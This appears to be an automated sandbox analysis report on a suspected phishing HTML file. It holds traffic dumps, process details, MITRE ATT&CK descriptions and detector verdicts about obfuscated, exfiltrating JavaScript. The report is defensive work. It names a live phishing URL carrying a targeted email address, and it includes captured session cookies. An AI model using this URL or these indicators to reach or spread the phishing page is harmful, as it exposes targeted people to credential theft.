6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-26 17:39:48 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-26 17:39:48 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	172.64.80.1	443	1128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:39:49 UTC	1333	OUT	GET /favicon.ico HTTP/1.1 Host: admin.isccjlaw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://admin.isccjlaw.es/APhOutyLVeRT/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ijc0UCtHUGlidzhlRFhIeGJyNXR1Wnc9PSIsInZhbHVlIjoiNVFMVnNlbEtHeHQ3ZjV4OFVKMzlCdmx1UzJ4amV2K2c0NWxjYnplc1pJTkRucmZxWFdTU0U0VzhqOU9rVzhuRGJFQVNEOFRKZGE3OEErdDF6QkpObzdzeDhhcEo4bGZKZzFtY2hmTjVRWTFvQTNwNUx5QzE1N3ltUGo1SXR3QnoiLCJtYWMiOiIxZGZmYTQ5NzNmYTE1MTdjOTgyYTAzOTIxOGU5YTNiMjY1YmQwNzQxMDhjNzFiNzhkYjk1YjAzMjU0MTViMDRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjM5dWVQcXNaWThSakd5TytwS3dvRHc9PSIsInZhbHVlIjoiSkF6dTU0dzBNa3lFUC9hN2lSbmtvSWoxb0VqbDRKeFNWSWJ6S3Y4Vy8yMXVweUp1aXdiNzhTWHRoMkdJYm9JN2RRSUUva3Z3T053L3VCVSt0bmJ4VXZhTjlOWHljK2F2Sm5kUDlYbnFUM2IveEcvZndpeDJ5bzFPTnFjcUNBMnoiLCJtYWMiOiIyN2JkMzVhMTM4MTc3OWUxNjVjMGFmZjAxNmZkMmYxODg1NWNkY2Y3M2JjMjk4NDllZjQ2MjUzYWJlY2QwNjA0IiwidGFnIjoiIn0%3D
2025-03-26 17:39:49 UTC	1071	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 17:39:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VLNQfnRuw%2FYdOaLXs%2BD8qeC7h1vDupYzlMnc%2BI%2Bb34Hse9a3ii%2FH%2FLPwXyiu%2BtpfeKd2yvp0AoSqDePnv%2BmVvmiSHT0pUNCxQzM8%2BzWt1vJ%2BjnhA20Ol%2Fq%2FU0AAw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=79178&min_rtt=79106&rtt_var=29716&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2239&delivery_rate=36002&cwnd=63&unsent_bytes=0&cid=9e66d970e475c7e2&ts=340&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 92686df7eec2e0ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85986&min_rtt=85834&rtt_var=18336&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1905&delivery_rate=35422&cwnd=252&unsent_bytes=0&cid=155ddb497d3786a9&ts=2960&x=0"
2025-03-26 17:39:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49746	35.190.80.1	443	1128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:39:50 UTC	552	OUT	OPTIONS /report/v4?s=VLNQfnRuw%2FYdOaLXs%2BD8qeC7h1vDupYzlMnc%2BI%2Bb34Hse9a3ii%2FH%2FLPwXyiu%2BtpfeKd2yvp0AoSqDePnv%2BmVvmiSHT0pUNCxQzM8%2BzWt1vJ%2BjnhA20Ol%2Fq%2FU0AAw HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://admin.isccjlaw.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:39:50 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 26 Mar 2025 17:39:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	35.190.80.1	443	1128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:39:50 UTC	527	OUT	POST /report/v4?s=VLNQfnRuw%2FYdOaLXs%2BD8qeC7h1vDupYzlMnc%2BI%2Bb34Hse9a3ii%2FH%2FLPwXyiu%2BtpfeKd2yvp0AoSqDePnv%2BmVvmiSHT0pUNCxQzM8%2BzWt1vJ%2BjnhA20Ol%2Fq%2FU0AAw HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 435 Content-Type: application/reports+json Origin: https://admin.isccjlaw.es User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:39:50 UTC	435	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 37 35 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 61 64 6d 69 6e 2e 69 73 63 63 6a 6c 61 77 2e 65 73 2f 41 50 68 4f 75 74 79 4c 56 65 52 54 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 34 2e 38 30 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 Data Ascii: [{"age":0,"body":{"elapsed_time":751,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://admin.isccjlaw.es/APhOutyLVeRT/","sampling_fraction":1.0,"server_ip":"172.64.80.1","status_code":404,"type":"http.error"},"type":"network-e
2025-03-26 17:39:50 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 26 Mar 2025 17:39:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Statistics

CPU Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Click to jump to process

Target ID:	1
Start time:	13:39:36
Start date:	26/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	13:39:39
Start date:	26/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2008,i,16480127350634017656,342114829492312001,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2036 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	13:39:45
Start date:	26/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\test.html"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Source: 1.4..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://admin.isccjlaw.es/APhOutyLVeRT/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code/URLs. The script appears to be attempting to redirect the user to a suspicious domain and collect sensitive information, which is a clear indication of malicious intent.
Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/test.html... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code. The script appears to be attempting to execute a malicious payload by decoding and executing a long string of encoded text. Additionally, the script uses a hardcoded secret key, which could be used to decrypt sensitive information. Overall, this script poses a significant security risk and should be treated as highly suspicious.
Source: 1.7..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://admin.isccjlaw.es/APhOutyLVeRT/... This script demonstrates high-risk behavior with the use of the `eval` function to execute dynamic code. The obfuscated string is decoded and then evaluated, which can lead to the execution of malicious code. Additionally, the script uses a `Proxy` object to intercept property access, further increasing the risk of unauthorized code execution. Overall, this script exhibits a high level of risk and should be thoroughly reviewed before execution.

Source: test.html	HTTP Parser: No favicon
Source: https://admin.isccjlaw.es/APhOutyLVeRT/#Mcarmen@mflp.org	HTTP Parser: No favicon
Source: https://admin.isccjlaw.es/APhOutyLVeRT/#Mcarmen@mflp.org	HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 172.64.80.1 172.64.80.1
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.189
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.132
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.132
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /APhOutyLVeRT/ HTTP/1.1Host: admin.isccjlaw.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://admin.isccjlaw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: admin.isccjlaw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://admin.isccjlaw.es/APhOutyLVeRT/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijc0UCtHUGlidzhlRFhIeGJyNXR1Wnc9PSIsInZhbHVlIjoiNVFMVnNlbEtHeHQ3ZjV4OFVKMzlCdmx1UzJ4amV2K2c0NWxjYnplc1pJTkRucmZxWFdTU0U0VzhqOU9rVzhuRGJFQVNEOFRKZGE3OEErdDF6QkpObzdzeDhhcEo4bGZKZzFtY2hmTjVRWTFvQTNwNUx5QzE1N3ltUGo1SXR3QnoiLCJtYWMiOiIxZGZmYTQ5NzNmYTE1MTdjOTgyYTAzOTIxOGU5YTNiMjY1YmQwNzQxMDhjNzFiNzhkYjk1YjAzMjU0MTViMDRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjM5dWVQcXNaWThSakd5TytwS3dvRHc9PSIsInZhbHVlIjoiSkF6dTU0dzBNa3lFUC9hN2lSbmtvSWoxb0VqbDRKeFNWSWJ6S3Y4Vy8yMXVweUp1aXdiNzhTWHRoMkdJYm9JN2RRSUUva3Z3T053L3VCVSt0bmJ4VXZhTjlOWHljK2F2Sm5kUDlYbnFUM2IveEcvZndpeDJ5bzFPTnFjcUNBMnoiLCJtYWMiOiIyN2JkMzVhMTM4MTc3OWUxNjVjMGFmZjAxNmZkMmYxODg1NWNkY2Y3M2JjMjk4NDllZjQ2MjUzYWJlY2QwNjA0IiwidGFnIjoiIn0%3D

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: admin.isccjlaw.es
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report test.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 3588, Parent PID: 3556

General

File Activities

File Opened

File Created

File Deleted

File Moved

Other File Operations

Registry Activities

Windows Analysis Report
test.html